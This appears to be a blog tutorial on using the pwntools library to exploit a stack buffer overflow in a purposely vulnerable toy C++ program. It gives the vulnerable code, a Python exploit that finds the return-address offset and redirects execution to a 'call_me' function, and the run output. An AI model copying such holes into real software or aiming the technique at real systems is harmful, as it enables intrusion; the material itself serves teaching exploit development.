Pwntools

Pwntools is a python exploit development library. Is has all the tools and shortcuts you need to improve your skills, processes, and documentation of your exploits.

The target Link to heading

We’re going to use pwntools to automate the exploitation of a buffer overflow. I’m using a 64 bits intel platform. I will disable canaries and pie. I will not strip symbols. Here is the vulnerable code we’re about to automate its exploitation:

 1// $(CXX) vuln.cpp -o vuln -fno-stack-protector -no-pie
 2
 3#include <algorithm>
 4#include <cstdlib>
 5#include <iostream>
 6#include <iterator>
 7#include <random>
 8#include <sys/resource.h>
 9
10int seed() {
11  // pseudo random seed generator
12  // can be used at compile time
13  auto hour = std::atoi(__TIME__);
14  auto min = std::atoi(__TIME__ + 3);
15  auto sec = std::atoi(__TIME__ + 6);
16  return 10000 * hour + 100 * min + sec;
17}
18
19extern "C" void call_me() {
20  // target function with mangling disabled
21  puts("congratulations!");
22}
23
24int main() {
25  auto rng = std::mt19937_64(seed());
26  auto length = std::uniform_int_distribution<int>(20, 40)(rng);
27  printf("buffer length is %d (0x%x).\n", length, length);
28  char buffer[length]; // compile time randomized length
29  scanf("%s", buffer); // vulnerable scanf
30}

Our goal will be to call the call_me function. Program expects a user input through stdin, read by scanf. The size of the targeted buffer is randomly decided at compile time.

The Exploit Link to heading

First let’s import all the pwn tools:

1from pwn import *

Then we define a context for the target using ELF() and use process to interact with the target process.

1local_path = "vuln"
2
3pty = process.PTY
4elf = context.binary = ELF(local_path)
5io = process(elf.path, stdin=pty, stdout=pty)

Now we have to find where is the instruction pointer saved on the stack, so we can overwrite it and make it point to call_me.

pwntools has cyclic(n) to create a unique pattern of n bytes. It also has cyclic_find(subpattern) to find the offset of the subpattern. Using this, we can find the offset where ip is saved.

Let’s send a very large pwn pattern to the process and expect a crash. This will produce a crash dump that pwntools can analyse in order to retrieve the offset using the subpattern lying on the stack when the crash occured:

 1def find_rip_offset(io):
 2    io.clean()
 3    io.sendline(cyclic(0x1000))
 4    io.wait()
 5    core = io.corefile
 6    stack = core.rsp
 7    info("rsp = %#x", stack)
 8    pattern = core.read(stack, 4)
 9    info("cyclic pattern = %s", pattern.decode())
10    rip_offset = cyclic_find(pattern)
11    info("rip offset is = %d", rip_offset)
12    return rip_offset
13
14offset = find_rip_offset(io)

At this point, we know where to overwrite the instruction pointer. We can craft the following payload : padding to saved ip + call_me address.

The binary is not stripped, pwntools give your tools to fetch ELF symbols, so we can craft the payload easily:

1offset = find_rip_offset(io)
2padding = b"A" * offset
3call_me = p64(elf.symbols.call_me)
4payload = b"".join([padding, call_me])
5
6with open("payload.bin", "wb") as fh:
7    fh.write(payload)

Here I dumped the payload in payload.bin so we can debug it:

$ nm vuln | grep call_me
00000000004011c9 T call_me

$ xxd payload.bin | tail -n 2
00000a30: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00000a40: 4141 4141 4141 4141 c911 4000 0000 0000  AAAAAAAA..@.....

And then we can send the payload and retrive the response :

 1def print_lines(io):
 2    info("printing io received lines")
 3    while True:
 4        try:
 5            line = io.recvline()
 6            success(line.decode())
 7        except EOFError:
 8            break
 9
10io = process(elf.path)
11io.sendline(payload)
12print_lines(io)
 1$ ./exploit.py
 2[*] '/tmp/vuln'
 3    Arch:     amd64-64-little
 4    RELRO:    Partial RELRO
 5    Stack:    No canary found
 6    NX:       NX enabled
 7    PIE:      No PIE (0x400000)
 8[+] Starting local process '/tmp/vuln': pid 15129
 9[*] Process '/tmp/vuln' stopped with exit code -11 (SIGSEGV) (pid 15129)
10[!] Error parsing corefile stack: Found bad environment at 0x7ffeb8030fc5
11[+] Parsing corefile...: Done
12[*] '/tmp/core.15129'
13    Arch:      amd64-64-little
14    RIP:       0x4012e2
15    RSP:       0x7ffeb8030258
16    Exe:       '/tmp/vuln' (0x401000)
17    Fault:     0x616b6162616a6162
18[*] rsp = 0x7ffeb8030258
19[*] cyclic pattern = baja
20[*] rip offset is = 2632
21[+] Starting local process '/tmp/vuln': pid 15132
22[*] printing io received lines
23[+] buffer length is 25 (0x19).
24[+] congratulations!

Yay we have the congratulations! output!

Here is a Makefile to ease the tests:

 1all: clean vuln exploit
 2
 3vuln:
 4        $(CXX) vuln.cpp -o vuln -fno-stack-protector -no-pie
 5
 6exploit:
 7        ./exploit.py
 8
 9clean:
10        rm -f vuln
11        rm -f core.*
12        rm -f payload.bin